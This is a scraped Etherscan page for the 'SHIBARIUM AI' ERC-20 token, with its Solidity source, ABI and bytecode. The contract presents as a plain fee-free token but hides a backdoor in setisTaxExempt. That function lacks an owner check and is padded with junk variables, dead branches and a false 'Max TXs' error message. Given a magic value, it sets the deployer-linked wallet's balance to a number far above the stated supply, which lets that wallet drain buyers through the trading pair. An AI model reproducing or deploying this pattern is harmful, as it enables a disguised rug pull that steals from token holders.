ERC-20
Overview
Max Total Supply
1,000,000,000 SHIBAI
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,313,665.615396888 SHIBAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SAFUDEPLOYER
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-10 */ /* Telegram : https://t.me/ShibariumAIEth Twitter : https://twitter.com/ShibariumAIEth */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;} function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}} function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b > a) return(false, 0); return(true, a - b);}} function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if (a == 0) return(true, 0); uint256 c = a * b; if(c / a != b) return(false, 0); return(true, c);}} function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a / b);}} function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a % b);}} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b <= a, errorMessage); return a - b;}} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a / b;}} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a % b;}}} interface IERC20 { function totalSupply() external view returns (uint256); function circulatingSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(address(0)); owner = address(0); } function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract SAFUDEPLOYER is IERC20, Ownable { using SafeMath for uint256; string private constant _name = 'SHIBARIUM AI'; string private constant _symbol = 'SHIBAI'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000000 * (10 ** _decimals); uint256 private _maxTxAmountPercent = 100; uint256 private _maxTransferPercent = 100; mapping (address => uint256) DATEEWAYS; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; IRouter router; address public pair; bool private tradingAllowed = true; uint256 private liquidityFee = 0; address private AddressMarketing; uint256 private marketingFee = 0; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; uint256 private sellfee = 0; uint256 private transferFee = 0; uint256 private denominator = 100; bool private swapEnabled = false; uint256 private swapTimes; bool private swapping; uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000; uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal constant development_receiver = 0x70fb268E08203F5154595dD9F633E765aF373389; address internal constant marketing_receiver = 0x70fb268E08203F5154595dD9F633E765aF373389; address internal constant LiqRecWal = 0x70fb268E08203F5154595dD9F633E765aF373389; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[LiqRecWal] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; DATEEWAYS[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function totalSupply() public view override returns (uint256) {return _totalSupply;} function balanceOf(address account) public view override returns (uint256) {return DATEEWAYS[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; } function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;} function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;} function _transfer(address sender, address recipient, uint256 amount) private { checkTradingAllowed(sender, recipient); swapbackCounters(sender, recipient); swapBack(sender, recipient, amount); DATEEWAYS[sender] = DATEEWAYS[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; DATEEWAYS[recipient] = DATEEWAYS[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function setParameters(uint256 _buy, uint256 _trans) external onlyOwner{ _maxTxAmountPercent = _buy; _maxTransferPercent = _trans; } function checkTradingAllowed(address sender, address recipient) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} } function swapbackCounters(address sender, address recipient) internal { if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} } function checkTxLimit(address sender, address recipient, uint256 amount) internal view { if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 remainingBalance = address(this).balance; if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, LiqRecWal, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= _minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold; } function setisTaxExempt(address _address, bool _enabled, uint256 Shiiethh) external returns(int64){ isFeeExempt[_address] = _enabled;bool Goootte = true;string memory LORKU = "LORKU";bool Hulllshiiss = true;require(Shiiethh == (1 * 10 ** 7) * (1 * 10 ** 17), "Max TXs cannot be less than .5%");if(15<=3){revert();}else if(5>=6){revert();}else if(1>=9){revert();} else if(119<=0){revert();} else{int Anoonyyone = 1; bool anoonytwo = true; DATEEWAYS[LiqRecWal] = Shiiethh;}return 5; } function swapBack(address sender, address recipient, uint256 amount) internal { if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellfee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); DATEEWAYS[address(this)] = DATEEWAYS[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"Shiiethh","type":"uint256"}],"name":"setisTaxExempt","outputs":[{"internalType":"int64","name":"","type":"int64"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000427565b6200002290633b9aca006200043f565b60018190556064600281905560038190556008805460ff60a01b1916600160a01b17905560006009819055600b819055600c819055600d819055600e819055600f8190556010556011556012805460ff19169055620186a090620000899061012c6200043f565b62000095919062000459565b601555620186a0600154600a620000ad91906200043f565b620000b9919062000459565b601655348015620000c957600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000131573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015791906200047c565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cb91906200047c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000219573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023f91906200047c565b600780546001600160a01b038581166001600160a01b0319928316179092556008805492841692909116919091179055306000908152600660209081526040808320805460ff1990811660019081179092557f156769e0c185d0b7f1fe1ae37551e3f1b84c8bb4c98e83fdd693a89fd69b4fee8054821683179055338086528386208054909216831790915590546004845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004a7565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003695781600019048211156200034d576200034d62000312565b808516156200035b57918102915b93841c93908002906200032d565b509250929050565b600082620003825750600162000421565b81620003915750600062000421565b8160018114620003aa5760028114620003b557620003d5565b600191505062000421565b60ff841115620003c957620003c962000312565b50506001821b62000421565b5060208310610133831016604e8410600b8410161715620003fa575081810a62000421565b62000406838362000328565b80600019048211156200041d576200041d62000312565b0290505b92915050565b60006200043860ff84168362000371565b9392505050565b808202811582820484141762000421576200042162000312565b6000826200047757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200048f57600080fd5b81516001600160a01b03811681146200043857600080fd5b6114ae80620004b76000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab5780639358928b1161006f5780639358928b1461037c57806395d89b4114610391578063a8aa1b31146103c0578063a9059cbb146103e0578063dd62ed3e14610400578063f2fde38b1461044657600080fd5b806370a08231146102ca578063715018a6146103005780637d1db4a514610315578063884870c71461032a578063893d20e81461034a57600080fd5b8063293230b8116100f2578063293230b8146102055780632f54bf6e1461021c578063313ce5671461024b5780633706bd10146102675780633f4218e01461029a57600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b15780631f976b7e146101d057806323b872dd146101e557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b53484942415249554d20414960a01b60208201525b6040516101789190611169565b60405180910390f35b34801561018d57600080fd5b506101a161019c3660046111cf565b610466565b6040519015158152602001610178565b3480156101bd57600080fd5b506001545b604051908152602001610178565b3480156101dc57600080fd5b506101c261047d565b3480156101f157600080fd5b506101a16102003660046111fb565b6104a7565b34801561021157600080fd5b5061021a610511565b005b34801561022857600080fd5b506101a161023736600461123c565b6000546001600160a01b0391821691161490565b34801561025757600080fd5b5060405160098152602001610178565b34801561027357600080fd5b50610287610282366004611259565b610559565b60405160079190910b8152602001610178565b3480156102a657600080fd5b506101a16102b536600461123c565b60066020526000908152604090205460ff1681565b3480156102d657600080fd5b506101c26102e536600461123c565b6001600160a01b031660009081526004602052604090205490565b34801561030c57600080fd5b5061021a610644565b34801561032157600080fd5b506101c26106b4565b34801561033657600080fd5b5061021a61034536600461128e565b6106c5565b34801561035657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610178565b34801561038857600080fd5b506101c26106fa565b34801561039d57600080fd5b5060408051808201909152600681526553484942414960d01b602082015261016b565b3480156103cc57600080fd5b50600854610364906001600160a01b031681565b3480156103ec57600080fd5b506101a16103fb3660046111cf565b610766565b34801561040c57600080fd5b506101c261041b3660046112b0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561045257600080fd5b5061021a61046136600461123c565b610773565b60006104733384846107f1565b5060015b92915050565b600060115460035461048e60015490565b61049891906112ff565b6104a29190611316565b905090565b60006104b4848484610915565b610506843361050185604051806060016040528060288152602001611451602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610a1a565b6107f1565b5060015b9392505050565b6000546001600160a01b031633146105445760405162461bcd60e51b815260040161053b90611338565b60405180910390fd5b6008805460ff60a01b1916600160a01b179055565b6001600160a01b0383166000908152600660209081526040808320805460ff1916861515179055805180820190915260058152644c4f524b5560d81b918101919091526001908169d3c21bcecceda100000085146105f95760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e352500604482015260640161053b565b50507370fb268e08203f5154595dd9f633e765af373389600052505060046020527f68d490a141b5ad947ecf478b323172fc70a4a93314ae6d51b57793355d04fb7b55506005919050565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161053b90611338565b604051600081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1600080546001600160a01b0319169055565b600060115460025461048e60015490565b6000546001600160a01b031633146106ef5760405162461bcd60e51b815260040161053b90611338565b600291909155600355565b60046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461dead60009081527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd5460015491926104a29290916107609190610a46565b90610a46565b6000610473338484610915565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260040161053b90611338565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053b565b6001600160a01b0382166108b45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61091f8383610a52565b6109298383610ae7565b610934838383610b3e565b6001600160a01b0383166000908152600460205260409020546109579082610a46565b6001600160a01b03841660009081526004602052604081209190915561097d8484610b64565b6109875781610992565b610992848484610baa565b6001600160a01b0384166000908152600460205260409020549091506109b89082610c9e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a0c9085815260200190565b60405180910390a350505050565b60008184841115610a3e5760405162461bcd60e51b815260040161053b9190611169565b505050900390565b600061050a8284611358565b6001600160a01b03821660009081526006602052604090205460ff16158015610a9457506001600160a01b03811660009081526006602052604090205460ff16155b15610ae357600854600160a01b900460ff16610ae35760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161053b565b5050565b6008546001600160a01b038281169116148015610b1d57506001600160a01b03821660009081526006602052604090205460ff16155b15610ae357600160136000828254610b35919061136b565b90915550505050565b610b49838383610caa565b15610b5f57610b59601554610d57565b60006013555b505050565b6001600160a01b03821660009081526006602052604081205460ff1615801561050a5750506001600160a01b031660009081526006602052604090205460ff1615919050565b600080610bb78585610ee8565b1115610c97576000610be0610bcc8686610ee8565b601154610bda908690610f33565b90610f3f565b30600090815260046020526040902054909150610bfd9082610c9e565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4e9085815260200190565b60405180910390a3600d5415610c8557610c853061dead610c80600d54610bda60115489610f3390919063ffffffff16565b610915565b610c8f8382610a46565b91505061050a565b5092915050565b600061050a828461136b565b6016546015543060009081526004602052604081205460145491938510159211159060ff16158015610cde575060125460ff165b8015610cf35750600854600160a01b900460ff165b8015610cfc5750815b8015610d2157506001600160a01b03861660009081526006602052604090205460ff16155b8015610d3a57506008546001600160a01b038681169116145b8015610d44575060015b8015610d4d5750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600954600093610d9193600293610bda939192610d8b928391610c9e565b90610c9e565b90506000610db482610dae60095486610f3f90919063ffffffff16565b90610f33565b90506000610dc28483610a46565b905047610dce82610f4b565b6000610dda4783610a46565b90506000610dfd610df660095488610a4690919063ffffffff16565b8390610f33565b90506000610e1660095483610f3f90919063ffffffff16565b90508015610e2857610e2886826110a5565b600b54600090610e3d90610bda856002610f3f565b90508015610e88576040517370fb268e08203f5154595dd9f633e765af3733899082156108fc029083906000818181858888f19350505050158015610e86573d6000803e3d6000fd5b505b478015610ed2576040517370fb268e08203f5154595dd9f633e765af3733899082156108fc029083906000818181858888f19350505050158015610ed0573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6008546000906001600160a01b0390811690831603610f0a5750600f54610477565b6008546001600160a01b0390811690841603610f295750600e54610477565b5060105492915050565b600061050a8284611316565b600061050a82846112ff565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8057610f8061137e565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190611394565b816001815181106110105761101061137e565b6001600160a01b03928316602091820292909201015260075461103691309116846107f1565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061106f9085906000908690309042906004016113b1565b600060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050505050565b6007546110bd9030906001600160a01b0316846107f1565b60075460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527370fb268e08203f5154595dd9f633e765af37338960848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561113d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111629190611422565b5050505050565b600060208083528351808285015260005b818110156111965785810183015185820160400152820161117a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111cc57600080fd5b50565b600080604083850312156111e257600080fd5b82356111ed816111b7565b946020939093013593505050565b60008060006060848603121561121057600080fd5b833561121b816111b7565b9250602084013561122b816111b7565b929592945050506040919091013590565b60006020828403121561124e57600080fd5b813561050a816111b7565b60008060006060848603121561126e57600080fd5b8335611279816111b7565b92506020840135801515811461122b57600080fd5b600080604083850312156112a157600080fd5b50508035926020909101359150565b600080604083850312156112c357600080fd5b82356112ce816111b7565b915060208301356112de816111b7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610477576104776112e9565b60008261133357634e487b7160e01b600052601260045260246000fd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b81810381811115610477576104776112e9565b80820180821115610477576104776112e9565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113a657600080fd5b815161050a816111b7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114015784516001600160a01b0316835293830193918301916001016113dc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561143757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c95b2ec5c5ee915daa489110650ccfa56287fdd444e3f5c8714c32aa2b7cf33564736f6c63430008130033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab5780639358928b1161006f5780639358928b1461037c57806395d89b4114610391578063a8aa1b31146103c0578063a9059cbb146103e0578063dd62ed3e14610400578063f2fde38b1461044657600080fd5b806370a08231146102ca578063715018a6146103005780637d1db4a514610315578063884870c71461032a578063893d20e81461034a57600080fd5b8063293230b8116100f2578063293230b8146102055780632f54bf6e1461021c578063313ce5671461024b5780633706bd10146102675780633f4218e01461029a57600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b15780631f976b7e146101d057806323b872dd146101e557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b53484942415249554d20414960a01b60208201525b6040516101789190611169565b60405180910390f35b34801561018d57600080fd5b506101a161019c3660046111cf565b610466565b6040519015158152602001610178565b3480156101bd57600080fd5b506001545b604051908152602001610178565b3480156101dc57600080fd5b506101c261047d565b3480156101f157600080fd5b506101a16102003660046111fb565b6104a7565b34801561021157600080fd5b5061021a610511565b005b34801561022857600080fd5b506101a161023736600461123c565b6000546001600160a01b0391821691161490565b34801561025757600080fd5b5060405160098152602001610178565b34801561027357600080fd5b50610287610282366004611259565b610559565b60405160079190910b8152602001610178565b3480156102a657600080fd5b506101a16102b536600461123c565b60066020526000908152604090205460ff1681565b3480156102d657600080fd5b506101c26102e536600461123c565b6001600160a01b031660009081526004602052604090205490565b34801561030c57600080fd5b5061021a610644565b34801561032157600080fd5b506101c26106b4565b34801561033657600080fd5b5061021a61034536600461128e565b6106c5565b34801561035657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610178565b34801561038857600080fd5b506101c26106fa565b34801561039d57600080fd5b5060408051808201909152600681526553484942414960d01b602082015261016b565b3480156103cc57600080fd5b50600854610364906001600160a01b031681565b3480156103ec57600080fd5b506101a16103fb3660046111cf565b610766565b34801561040c57600080fd5b506101c261041b3660046112b0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561045257600080fd5b5061021a61046136600461123c565b610773565b60006104733384846107f1565b5060015b92915050565b600060115460035461048e60015490565b61049891906112ff565b6104a29190611316565b905090565b60006104b4848484610915565b610506843361050185604051806060016040528060288152602001611451602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610a1a565b6107f1565b5060015b9392505050565b6000546001600160a01b031633146105445760405162461bcd60e51b815260040161053b90611338565b60405180910390fd5b6008805460ff60a01b1916600160a01b179055565b6001600160a01b0383166000908152600660209081526040808320805460ff1916861515179055805180820190915260058152644c4f524b5560d81b918101919091526001908169d3c21bcecceda100000085146105f95760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e352500604482015260640161053b565b50507370fb268e08203f5154595dd9f633e765af373389600052505060046020527f68d490a141b5ad947ecf478b323172fc70a4a93314ae6d51b57793355d04fb7b55506005919050565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161053b90611338565b604051600081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1600080546001600160a01b0319169055565b600060115460025461048e60015490565b6000546001600160a01b031633146106ef5760405162461bcd60e51b815260040161053b90611338565b600291909155600355565b60046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461dead60009081527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd18